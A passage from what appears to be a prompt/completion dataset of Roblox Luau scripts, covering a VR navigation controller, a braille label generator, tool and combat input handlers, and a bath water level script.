9000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 6100\n\tTune.PeakSharpness\t= 3.8\n\tTune.CurveMult\t\t= 0.07\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.5\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 450\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 150\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 0\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)\n\t"} +{"prompt": "--[[ The Class ]]", "completion": "--\nlocal BaseCharacterController = require(script.Parent:WaitForChild(\"BaseCharacterController\"))\nlocal VRNavigation = setmetatable({}, BaseCharacterController)\nVRNavigation.__index = VRNavigation\n\nfunction VRNavigation.new(CONTROL_ACTION_PRIORITY)\n\tlocal self = setmetatable(BaseCharacterController.new(), VRNavigation)\n\n\tself.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY\n\n\tself.navigationRequestedConn = nil\n\tself.heartbeatConn = nil\n\n\tself.currentDestination = nil\n\tself.currentPath = nil\n\tself.currentPoints = nil\n\tself.currentPointIdx = 0\n\n\tself.expectedTimeToNextPoint = 0\n\tself.timeReachedLastPoint = tick()\n\tself.moving = false\n\n\tself.isJumpBound = false\n\tself.moveLatch = false\n\n\tself.userCFrameEnabledConn = nil\n\n\treturn self\nend\n\nfunction VRNavigation:SetLaserPointerMode(mode)\n\tpcall(function()\n\t\tStarterGui:SetCore(\"VRLaserPointerMode\", mode)\n\tend)\nend\n\nfunction VRNavigation:GetLocalHumanoid()\n\tlocal character = LocalPlayer.Character\n\tif not character then\n\t\treturn\n\tend\n\n\tfor _, child in pairs(character:GetChildren()) do\n\t\tif child:IsA(\"Humanoid\") then\n\t\t\treturn child\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction VRNavigation:HasBothHandControllers()\n\treturn VRService:GetUserCFrameEnabled(Enum.UserCFrame.RightHand) and VRService:GetUserCFrameEnabled(Enum.UserCFrame.LeftHand)\nend\n\nfunction VRNavigation:HasAnyHandControllers()\n\treturn VRService:GetUserCFrameEnabled(Enum.UserCFrame.RightHand) or VRService:GetUserCFrameEnabled(Enum.UserCFrame.LeftHand)\nend\n\nfunction VRNavigation:IsMobileVR()\n\treturn UserInputService.TouchEnabled\nend\n\nfunction VRNavigation:HasGamepad()\n\treturn UserInputService.GamepadEnabled\nend\n\nfunction VRNavigation:ShouldUseNavigationLaser()\n\t--Places where we use the navigation laser:\n\t-- mobile VR with any number of hands tracked\n\t-- desktop VR with only one hand tracked\n\t-- desktop VR with no hands and no gamepad (i.e. with Oculus remote?)\n\t--using an Xbox controller with a desktop VR headset means no laser since the user has a thumbstick.\n\t--in the future, we should query thumbstick presence with a features API\n\tif self:IsMobileVR() then\n\t\treturn true\n\telse\n\t\tif self:HasBothHandControllers() then\n\t\t\treturn false\n\t\tend\n\t\tif not self:HasAnyHandControllers() then\n\t\t\treturn not self:HasGamepad()\n\t\tend\n\t\treturn true\n\tend\nend\n\n\n\nfunction VRNavigation:StartFollowingPath(newPath)\n\tcurrentPath = newPath\n\tcurrentPoints = currentPath:GetPointCoordinates()\n\tcurrentPointIdx = 1\n\tmoving = true\n\n\ttimeReachedLastPoint = tick()\n\n\tlocal humanoid = self:GetLocalHumanoid()\n\tif humanoid and humanoid.Torso and #currentPoints >= 1 then\n\t\tlocal dist = (currentPoints[1] - humanoid.Torso.Position).magnitude\n\t\texpectedTimeToNextPoint = dist / humanoid.WalkSpeed\n\tend\n\n\tmovementUpdateEvent:Fire(\"targetPoint\", self.currentDestination)\nend\n\nfunction VRNavigation:GoToPoint(point)\n\tcurrentPath = true\n\tcurrentPoints = { point }\n\tcurrentPointIdx = 1\n\tmoving = true\n\n\tlocal humanoid = self:GetLocalHumanoid()\n\tlocal distance = (humanoid.Torso.Position - point).magnitude\n\tlocal estimatedTimeRemaining = distance / humanoid.WalkSpeed\n\n\ttimeReachedLastPoint = tick()\n\texpectedTimeToNextPoint = estimatedTimeRemaining\n\n\tmovementUpdateEvent:Fire(\"targetPoint\", point)\nend\n\nfunction VRNavigation:StopFollowingPath()\n\tcurrentPath = nil\n\tcurrentPoints = nil\n\tcurrentPointIdx = 0\n\tmoving = false\n\tself.moveVector = ZERO_VECTOR3\nend\n\nfunction VRNavigation:TryComputePath(startPos, destination)\n\tlocal numAttempts = 0\n\tlocal newPath = nil\n\n\twhile not newPath and numAttempts < 5 do\n\t\tnewPath = PathfindingService:ComputeSmoothPathAsync(startPos, destination, MAX_PATHING_DISTANCE)\n\t\tnumAttempts = numAttempts + 1\n\n\t\tif newPath.Status == Enum.PathStatus.ClosestNoPath or newPath.Status == Enum.PathStatus.ClosestOutOfRange then\n\t\t\tnewPath = nil\n\t\t\tbreak\n\t\tend\n\n\t\tif newPath and newPath.Status == Enum.PathStatus.FailStartNotEmpty then\n\t\t\tstartPos = startPos + (destination - startPos).unit\n\t\t\tnewPath = nil\n\t\tend\n\n\t\tif newPath and newPath.Status == Enum.PathStatus.FailFinishNotEmpty then\n\t\t\tdestination = destination + Vector3.new(0, 1, 0)\n\t\t\tnewPath = nil\n\t\tend\n\tend\n\n\treturn newPath\nend\n\nfunction VRNavigation:OnNavigationRequest(destinationCFrame, inputUserCFrame )\n\tlocal destinationPosition = destinationCFrame.p\n\tlocal lastDestination = self.currentDestination\n\n\tif not IsFiniteVector3(destinationPosition) then\n\t\treturn\n\tend\n\n\tself.currentDestination = destinationPosition\n\n\tlocal humanoid = self:GetLocalHumanoid()\n\tif not humanoid or not humanoid.Torso then\n\t\treturn\n\tend\n\n\tlocal currentPosition = humanoid.Torso.Position\n\tlocal distanceToDestination = (self.currentDestination - currentPosition).magnitude\n\n\tif distanceToDestination < NO_PATH_THRESHOLD then\n\t\tself:GoToPoint(self.currentDestination)\n\t\treturn\n\tend\n\n\tif not lastDestination or (self.currentDestination - lastDestination).magnitude > RECALCULATE_PATH_THRESHOLD then\n\t\tlocal newPath = self:TryComputePath(currentPosition, self.currentDestination)\n\t\tif newPath then\n\t\t\tself:StartFollowingPath(newPath)\n\t\t\tif PathDisplay then\n\t\t\t\tPathDisplay.setCurrentPoints(self.currentPoints)\n\t\t\t\tPathDisplay.renderPath()\n\t\t\tend\n\t\telse\n\t\t\tself:StopFollowingPath()\n\t\t\tif PathDisplay then\n\t\t\t\tPathDisplay.clearRenderedPath()\n\t\t\tend\n\t\tend\n\telse\n\t\tif moving then\n\t\t\tself.currentPoints[#currentPoints] = self.currentDestination\n\t\telse\n\t\t\tself:GoToPoint(self.currentDestination)\n\t\tend\n\tend\nend\n\nfunction VRNavigation:OnJumpAction(actionName, inputState, inputObj)\n\tif inputState == Enum.UserInputState.Begin then\n\t\tself.isJumping = true\n\tend\n\treturn Enum.ContextActionResult.Sink\nend\nfunction VRNavigation:BindJumpAction(active)\n\tif active then\n\t\tif not self.isJumpBound then\n\t\t\tself.isJumpBound = true\n\t\t\tContextActionService:BindActionAtPriority(\"VRJumpAction\", (function() return self:OnJumpAction() end), false,\n\t\t\t\tself.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA)\n\t\tend\n\telse\n\t\tif self.isJumpBound then\n\t\t\tself.isJumpBound = false\n\t\t\tContextActionService:UnbindAction(\"VRJumpAction\")\n\t\tend\n\tend\nend\n\nfunction VRNavigation:ControlCharacterGamepad(actionName, inputState, inputObject)\n\tif inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end\n\n\tif inputState == Enum.UserInputState.Cancel then\n\t\tself.moveVector = ZERO_VECTOR3\n\t\treturn\n\tend\n\n\tif inputState ~= Enum.UserInputState.End then\n\t\tself:StopFollowingPath()\n\t\tif PathDisplay then\n\t\t\tPathDisplay.clearRenderedPath()\n\t\tend\n\n\t\tif self:ShouldUseNavigationLaser() then\n\t\t\tself:BindJumpAction(true)\n\t\t\tself:SetLaserPointerMode(\"Hidden\")\n\t\tend\n\n\t\tif inputObject.Position.magnitude > THUMBSTICK_DEADZONE then\n\t\t\tself.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)\n\t\t\tif self.moveVector.magnitude > 0 then\n\t\t\t\tself.moveVector = self.moveVector.unit * math.min(1, inputObject.Position.magnitude)\n\t\t\tend\n\n\t\t\tself.moveLatch = true\n\t\tend\n\telse\n\t\tself.moveVector = ZERO_VECTOR3\n\n\t\tif self:ShouldUseNavigationLaser() then\n\t\t\tself:BindJumpAction(false)\n\t\t\tself:SetLaserPointerMode(\"Navigation\")\n\t\tend\n\n\t\tif self.moveLatch then\n\t\t\tself.moveLatch = false\n\t\t\tmovementUpdateEvent:Fire(\"offtrack\")\n\t\tend\n\tend\n\treturn Enum.ContextActionResult.Sink\nend\n\nfunction VRNavigation:OnHeartbeat(dt)\n\tlocal newMoveVector = self.moveVector\n\tlocal humanoid = self:GetLocalHumanoid()\n\tif not humanoid or not humanoid.Torso then\n\t\treturn\n\tend\n\n\tif self.moving and self.currentPoints then\n\t\tlocal currentPosition = humanoid.Torso.Position\n\t\tlocal goalPosition = currentPoints[1]\n\t\tlocal vectorToGoal = (goalPosition - currentPosition) * XZ_VECTOR3\n\t\tlocal moveDist = vectorToGoal.magnitude\n\t\tlocal moveDir = vectorToGoal / moveDist\n\n\t\tif moveDist < POINT_REACHED_THRESHOLD then\n\t\t\tlocal estimatedTimeRemaining = 0\n\t\t\tlocal prevPoint = currentPoints[1]\n\t\t\tfor i, point in pairs(currentPoints) do\n\t\t\t\tif i ~= 1 then\n\t\t\t\t\tlocal dist = (point - prevPoint).magnitude\n\t\t\t\t\tprevPoint = point\n\t\t\t\t\testimatedTimeRemaining = estimatedTimeRemaining + (dist / humanoid.WalkSpeed)\n\t\t\t\tend\n\t\t\tend\n\n\t\t\ttable.remove(currentPoints, 1)\n\t\t\tcurrentPointIdx = currentPointIdx + 1\n\n\t\t\tif #currentPoints == 0 then\n\t\t\t\tself:StopFollowingPath()\n\t\t\t\tif PathDisplay then\n\t\t\t\t\tPathDisplay.clearRenderedPath()\n\t\t\t\tend\n\t\t\t\treturn\n\t\t\telse\n\t\t\t\tif PathDisplay then\n\t\t\t\t\tPathDisplay.setCurrentPoints(currentPoints)\n\t\t\t\t\tPathDisplay.renderPath()\n\t\t\t\tend\n\n\t\t\t\tlocal newGoal = currentPoints[1]\n\t\t\t\tlocal distanceToGoal = (newGoal - currentPosition).magnitude\n\t\t\t\texpectedTimeToNextPoint = distanceToGoal / humanoid.WalkSpeed\n\t\t\t\ttimeReachedLastPoint = tick()\n\t\t\tend\n\t\telse\n\t\t\tlocal ignoreTable = {\n\t\t\t\tgame.Players.LocalPlayer.Character,\n\t\t\t\tworkspace.CurrentCamera\n\t\t\t}\n\t\t\tlocal obstructRay = Ray.new(currentPosition - Vector3.new(0, 1, 0), moveDir * 3)\n\t\t\tlocal obstructPart, obstructPoint, obstructNormal = workspace:FindPartOnRayWithIgnoreList(obstructRay, ignoreTable)\n\n\t\t\tif obstructPart then\n\t\t\t\tlocal heightOffset = Vector3.new(0, 100, 0)\n\t\t\t\tlocal jumpCheckRay = Ray.new(obstructPoint + moveDir * 0.5 + heightOffset, -heightOffset)\n\t\t\t\tlocal jumpCheckPart, jumpCheckPoint, jumpCheckNormal = workspace:FindPartOnRayWithIgnoreList(jumpCheckRay, ignoreTable)\n\n\t\t\t\tlocal heightDifference = jumpCheckPoint.Y - currentPosition.Y\n\t\t\t\tif heightDifference < 6 and heightDifference > -2 then\n\t\t\t\t\thumanoid.Jump = true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal timeSinceLastPoint = tick() - timeReachedLastPoint\n\t\t\tif timeSinceLastPoint > expectedTimeToNextPoint + OFFTRACK_TIME_THRESHOLD then\n\t\t\t\tself:StopFollowingPath()\n\t\t\t\tif PathDisplay then\n\t\t\t\t\tPathDisplay.clearRenderedPath()\n\t\t\t\tend\n\n\t\t\t\tmovementUpdateEvent:Fire(\"offtrack\")\n\t\t\tend\n\n\t\t\tnewMoveVector = self.moveVector:Lerp(moveDir, dt * 10)\n\t\tend\n\tend\n\n\tif IsFiniteVector3(newMoveVector) then\n\t\tself.moveVector = newMoveVector\n\tend\nend\n\n\nfunction VRNavigation:OnUserCFrameEnabled()\n\tif self:ShouldUseNavigationLaser() then\n\t\tself:BindJumpAction(false)\n\t\tself:SetLaserPointerMode(\"Navigation\")\n\telse\n\t\tself:BindJumpAction(true)\n\t\tself:SetLaserPointerMode(\"Hidden\")\n\tend\nend\n\nfunction VRNavigation:Enable(enable)\n\n\tself.moveVector = ZERO_VECTOR3\n\tself.isJumping = false\n\n\tif enable then\n\t\tself.navigationRequestedConn = VRService.NavigationRequested:Connect(function(destinationCFrame, inputUserCFrame) self:OnNavigationRequest(destinationCFrame, inputUserCFrame) end)\n\t\tself.heartbeatConn = RunService.Heartbeat:Connect(function(dt) self:OnHeartbeat(dt) end)\n\n\t\tContextActionService:BindAction(\"MoveThumbstick\", (function(actionName, inputState, inputObject) return self:ControlCharacterGamepad(actionName, inputState, inputObject) end),\n\t\t\tfalse, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1)\n\t\tContextActionService:BindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2)\n\n\t\tself.userCFrameEnabledConn = VRService.UserCFrameEnabled:Connect(function() self:OnUserCFrameEnabled() end)\n\t\tself:OnUserCFrameEnabled()\n\n\t\tVRService:SetTouchpadMode(Enum.VRTouchpad.Left, Enum.VRTouchpadMode.VirtualThumbstick)\n\t\tVRService:SetTouchpadMode(Enum.VRTouchpad.Right, Enum.VRTouchpadMode.ABXY)\n\n\t\tself.enabled = true\n\telse\n\t\t-- Disable\n\t\tself:StopFollowingPath()\n\n\t\tContextActionService:UnbindAction(\"MoveThumbstick\")\n\t\tContextActionService:UnbindActivate(Enum.UserInputType.Gamepad1, Enum.KeyCode.ButtonR2)\n\n\t\tself:BindJumpAction(false)\n\t\tself:SetLaserPointerMode(\"Disabled\")\n\n\t\tif self.navigationRequestedConn then\n\t\t\tself.navigationRequestedConn:Disconnect()\n\t\t\tself.navigationRequestedConn = nil\n\t\tend\n\t\tif self.heartbeatConn then\n\t\t\tself.heartbeatConn:Disconnect()\n\t\t\tself.heartbeatConn = nil\n\t\tend\n\t\tif self.userCFrameEnabledConn then\n\t\t\tself.userCFrameEnabledConn:Disconnect()\n\t\t\tself.userCFrameEnabledConn = nil\n\t\tend\n\t\tself.enabled = false\n\tend\nend\n\nreturn VRNavigation\n"} +{"prompt": "--If we can't find it, add it in", "completion": "\nif (TeleEffect == nil) then\n\tTeleEffect = script.Parent.TeleporterEffect:clone()\n\tTeleEffect.Disabled = false\n\tTeleEffect.Parent = StarterPlayer.StarterPlayerScripts\nend\n"} +{"prompt": "-- BrailleGen 3D BETA", "completion": "\n\nAlign = true\n\nThis = script.Parent\nBtn = This.Parent\nCharacters = require(script.Characters)\n\nfunction ChangeFloor(SF)\n\tif Align == true then\n\t\tif string.len(SF) == 1 then\n\t\t\tSetLabel(1,SF,0.045)\t\n\t\t\tSetLabel(2,\"NIL\",0)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 2 then\n\t\t\tSetLabel(1,SF:sub(1,1),0.03)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0.03)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 3 then\n\t\t\tSetLabel(1,SF:sub(1,1),0.015)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0.015)\n\t\t\tSetLabel(3,SF:sub(3,3),0.015)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 4 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,SF:sub(3,3),0)\n\t\t\tSetLabel(4,SF:sub(4,4),0)\n\t\tend\n\telse\n\t\tif string.len(SF) == 1 then\n\t\t\tSetLabel(1,SF,0)\t\n\t\t\tSetLabel(2,\"NIL\",0)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 2 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,\"NIL\",0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 3 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,SF:sub(3,3),0)\n\t\t\tSetLabel(4,\"NIL\",0)\n\t\telseif string.len(SF) == 4 then\n\t\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\t\tSetLabel(2,SF:sub(2,2),0)\n\t\t\tSetLabel(3,SF:sub(3,3),0)\n\t\t\tSetLabel(4,SF:sub(4,4),0)\n\t\tend\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"BR\"..ID) and Characters[CHAR] ~= nil then\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"BR\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\t\tif CHAR == \"A\" or CHAR == \"1\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.014)\n\t\telseif CHAR == \"B\" or CHAR == \"2\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.006)\n\t\telseif CHAR == \"C\" or CHAR == \"3\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.014)\n\t\telseif CHAR == \"D\" or CHAR == \"4\" or CHAR == \"E\" or CHAR == \"5\" or CHAR == \"F\" or CHAR == \"6\" or CHAR == \"G\" or CHAR == \"7\" or CHAR == \"H\" or CHAR == \"8\" or CHAR == \"I\" or CHAR == \"9\" or CHAR == \"J\" or CHAR == \"0\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.006)\n\t\telseif CHAR == \"K\" or CHAR == \"L\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, 0)\n\t\telseif CHAR == \".\" or CHAR == \"+\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)\n\t\telseif CHAR == \"-\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.014)\n\t\telseif CHAR == \";\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)\n\t\telseif CHAR == \"*\" then\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET+0.006, 0, 0)\n\t\telse\n\t\t\tThis[\"BR\"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0)\n\t\tend\n\tend\nend\n\n\nChangeFloor(\"$\"..Btn.Name)\n\nscript:Destroy()\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\nRunService = game:GetService(\"RunService\")\nUserInputService = game:GetService(\"UserInputService\")\nContentProvider = game:GetService(\"ContentProvider\")\n\nRbxUtility = LoadLibrary(\"RbxUtility\")\nCreate = RbxUtility.Create\n\nAnimations = {}\nLocalObjects = {}\n\nServerControl = Tool:WaitForChild(\"ServerControl\")\nClientControl = Tool:WaitForChild(\"ClientControl\")\n\nInputCheck = Instance.new(\"ScreenGui\")\nInputCheck.Name = \"InputCheck\"\nInputButton = Instance.new(\"ImageButton\")\nInputButton.Name = \"InputButton\"\nInputButton.Image = \"\"\nInputButton.BackgroundTransparency = 1\nInputButton.ImageTransparency = 1\nInputButton.Size = UDim2.new(1, 0, 1, 0)\nInputButton.Parent = InputCheck\n\nRate = (1 / 60)\n\nToolEquipped = false\n\nfunction SetAnimation(mode, value)\n\tif not ToolEquipped or not CheckIfAlive() then\n\t\treturn\n\tend\n\tlocal function StopAnimation(Animation)\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == Animation then\n\t\t\t\tv.AnimationTrack:Stop(value.EndFadeTime)\n\t\t\t\tif v.TrackStopped then\n\t\t\t\t\tv.TrackStopped:disconnect()\n\t\t\t\tend\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\tend\n\tif mode == \"PlayAnimation\" then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tif value.Speed then\n\t\t\t\t\tv.AnimationTrack:AdjustSpeed(value.Speed)\n\t\t\t\t\treturn\n\t\t\t\telseif value.Weight or value.FadeTime then\n\t\t\t\t\tv.AnimationTrack:AdjustWeight(value.Weight, value.FadeTime)\n\t\t\t\t\treturn\n\t\t\t\telse\n\t\t\t\t\tStopAnimation(value.Animation, false)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tlocal AnimationMonitor = Create(\"Model\"){}\n\t\tlocal TrackEnded = Create(\"StringValue\"){Name = \"Ended\"}\n\t\tlocal AnimationTrack = Humanoid:LoadAnimation(value.Animation)\n\t\tlocal TrackStopped\n\t\tif not value.Manual then\n\t\t\tTrackStopped = AnimationTrack.Stopped:connect(function()\n\t\t\t\tif TrackStopped then\n\t\t\t\t\tTrackStopped:disconnect()\n\t\t\t\tend\n\t\t\t\tStopAnimation(value.Animation, true)\n\t\t\t\tTrackEnded.Parent = AnimationMonitor\n\t\t\tend)\n\t\tend\n\t\ttable.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack, TrackStopped = TrackStopped})\n\t\tAnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)\n\t\tif TrackStopped then\n\t\t\tAnimationMonitor:WaitForChild(TrackEnded.Name)\n\t\tend\n\t\treturn TrackEnded.Name\n\telseif mode == \"StopAnimation\" and value then\n\t\tStopAnimation(value.Animation)\n\tend\nend\n\nfunction CheckIfAlive()\n\treturn (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tToolEquipped = true\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tSpawn(function()\n\t\tPlayerMouse = Player:GetMouse()\n\t\tMouse.Button1Down:connect(function()\n\t\t\tInvokeServer(\"Button1Click\", {Down = true})\n\t\tend)\n\t\tMouse.Button1Up:connect(function()\n\t\t\tInvokeServer(\"Button1Click\", {Down = false})\n\t\tend)\n\t\tMouse.KeyDown:connect(function(Key)\n\t\t\tInvokeServer(\"KeyPress\", {Key = Key, Down = true})\n\t\tend)\n\t\tMouse.KeyUp:connect(function(Key)\n\t\t\tInvokeServer(\"KeyPress\", {Key = Key, Down = false})\n\t\tend)\n\t\tlocal PlayerGui = Player:FindFirstChild(\"PlayerGui\")\n\t\tif PlayerGui then\n\t\t\tif UserInputService.TouchEnabled then\n\t\t\t\tInputCheckClone = InputCheck:Clone()\n\t\t\t\tInputCheckClone.InputButton.InputBegan:connect(function()\n\t\t\t\t\tInvokeServer(\"Button1Click\", {Down = true})\n\t\t\t\tend)\n\t\t\t\tInputCheckClone.InputButton.InputEnded:connect(function()\n\t\t\t\t\tInvokeServer(\"Button1Click\", {Down = false})\n\t\t\t\tend)\n\t\t\t\tInputCheckClone.Parent = PlayerGui\n\t\t\tend\n\t\tend\n\t\tfor i, v in pairs(Tool:GetChildren()) do\n\t\t\tif v:IsA(\"Animation\") then\n\t\t\t\tContentProvider:Preload(v.AnimationId)\n\t\t\tend\n\t\tend\n\tend)\nend\n\nfunction Unequipped()\n\tLocalObjects = {}\n\tif InputCheckClone and InputCheckClone.Parent then\n\t\tInputCheckClone:Destroy()\n\tend\n\tfor i, v in pairs(Animations) do\n\t\tif v and v.AnimationTrack then\n\t\t\tv.AnimationTrack:Stop()\n\t\tend\n\tend\n\tAnimations = {}\n\tToolEquipped = false\nend\n\nfunction InvokeServer(mode, value)\n\tlocal ServerReturn = nil\n\tpcall(function()\n\t\tServerReturn = ServerControl:InvokeServer(mode, value)\n\tend)\n\treturn ServerReturn\nend\n\nfunction OnClientInvoke(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tSetAnimation(\"PlayAnimation\", value)\n\telseif mode == \"StopAnimation\" and value then\n\t\tSetAnimation(\"StopAnimation\", value)\n\telseif mode == \"PlaySound\" and value then\n\t\tvalue:Play()\n\telseif mode == \"StopSound\" and value then\n\t\tvalue:Stop()\n\telseif mode == \"MousePosition\" then\n\t\treturn {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}\n\tend\nend\n\nClientControl.OnClientInvoke = OnClientInvoke\nTool.Equipped:connect(Equipped)\nTool.Unequipped:connect(Unequipped)\n"} +{"prompt": "-- FUNCTIONS --", "completion": "\nTool.Equipped:Connect(function()\n\tCharacter = Tool.Parent\nequiped = true\nPlayer.PlayerGui:FindFirstChild(\"Fists\").Enabled = true\n\n\tCharacter.Humanoid.Running:Connect(function(speed)\n\n\t\tif speed == 0 and Equipped.Value == true then -- Walking\n\t\t\tequippedIdle:Play()\n\n\t\telse -- Idle\n\t\t\tequippedIdle:Stop()\n\n\t\tend\n\tend)\n\tHRP = Character:WaitForChild(\"HumanoidRootPart\")\n\tHumanoid = Character:WaitForChild(\"Humanoid\")\n\n\t\n\t\n\t\n\tattackRemote:FireServer(\"Equip\")\n\tattackRemote:FireServer(\"Unblock\")\n\tval.Value = false\n\nend)\n\nTool.Unequipped:Connect(function()\n\tPlayer.PlayerGui:FindFirstChild(\"Fists\").Enabled = false\n\tequiped = false\n\tequippedIdle:Stop()\n\tattackRemote:FireServer(\"Unequip\")\n\n\tattackRemote:FireServer(\"Unblock\")\n\tval.Value = false\t\n\nend)\n\nUIS.InputBegan:Connect(function(Input, isTyping)\n\tif isTyping then return end\n\n\tif Player.Character:FindFirstChild(\"PBSTUN\") then return end\n\tif Player.Character:FindFirstChild(\"Running\").Value == true then return end\n\tif Input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\tif not Humanoid then return end\n\t\tif Humanoid.Health > 0 then\n\t\t\tlocal Disabled = Character:FindFirstChild(\"Disabled\")\n\t\t\tif not Disabled then\n\t\t\t\t\n\t\t\t\tif UIS:IsKeyDown(Enum.KeyCode.Space) then\n\t\t\t\t\tattackRemote:FireServer(\"Attack\", true)\n\t\t\t\telse\n\t\t\t\t\tattackRemote:FireServer(\"Attack\", false)\n\t\t\t\tend\n\t\t\n\t\t\t\tcoroutine.wrap(function()\n\t\t\t\t\tlocal noJumpValue = Instance.new(\"BoolValue\")\n\t\t\t\t\tnoJumpValue.Name = \"noJump\"\n\t\t\t\t\tnoJumpValue.Parent = Character\n\t\t\t\t\tgame.Debris:AddItem(noJumpValue, 1.4)\n\t\t\t\tend)()\n\t\t\tend\n\t\tend\n\t\n\telseif Input.KeyCode == Enum.KeyCode.F then\n\t\tif deb == true then return end\n\t\tif not Humanoid then return end\n\t\tif Humanoid.Health > 0 then\n\t\t\tlocal Disabled = Character:FindFirstChild(\"Disabled\")\n\t\t\tif not Disabled then\n\t\t\t\tval.Value = true\n\t\t\tdeb = true\n\t\t\t\tattackRemote:FireServer(\"Block\")\n\t\t\t\twait(1)\n\t\t\t\tdeb = false\n\t\t\tend\n\t\tend\n\n\tend\nend)\n\nUIS.InputEnded:Connect(function(Input, isTyping)\n\tif isTyping then return end\n\n\tif Input.KeyCode == Enum.KeyCode.F then\n\t\tattackRemote:FireServer(\"Unblock\")\n\t\tval.Value = false\n\t\n\tend\nend)\n"} +{"prompt": "-- \u062a\u0639\u0631\u064a\u0641 \u0627\u0644\u0645\u062a\u063a\u064a\u0631\u0627\u062a", "completion": "\nlocal wall = script.Parent -- \u0627\u0633\u0645 \u0627\u0644\u0645\u062c\u0633\u0645 \u0627\u0644\u0630\u064a \u064a\u0645\u062b\u0644 \u0627\u0644\u062c\u062f\u0627\u0631\nlocal rotationSpeed = 2 -- \u0633\u0631\u0639\u0629 \u0627\u0644\u062f\u0648\u0631\u0627\u0646\nlocal throwForce = 100 -- \u0642\u0648\u0629 \u0627\u0644\u0631\u0645\u064a\n"} +{"prompt": "----- Bath water level and temp handler -----", "completion": "\n\nwhile true do\n\tif script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if BOTH ON and PLUGGED\t\t\n\t\twater.Scale = water.Scale + Vector3.new(0,0.01,0)\n\t\twater.Offset = Vector3.new(0,water.Scale.Y/2,0)\n\t\thotWater = hotWater + 1\n\t\tcoldWater = coldWater + 1\n\t\tdrainSound:Stop()\n\telseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if ON and PLUGGED\n\t\twater.Scale = water.Scale + Vector3.new(0,0.01,0)\n\t\twater.Offset = Vector3.new(0,water.Scale.Y/2,0)\n\t\tif script.Parent.HotOn.Value == true then\n\t\t\thotWater = 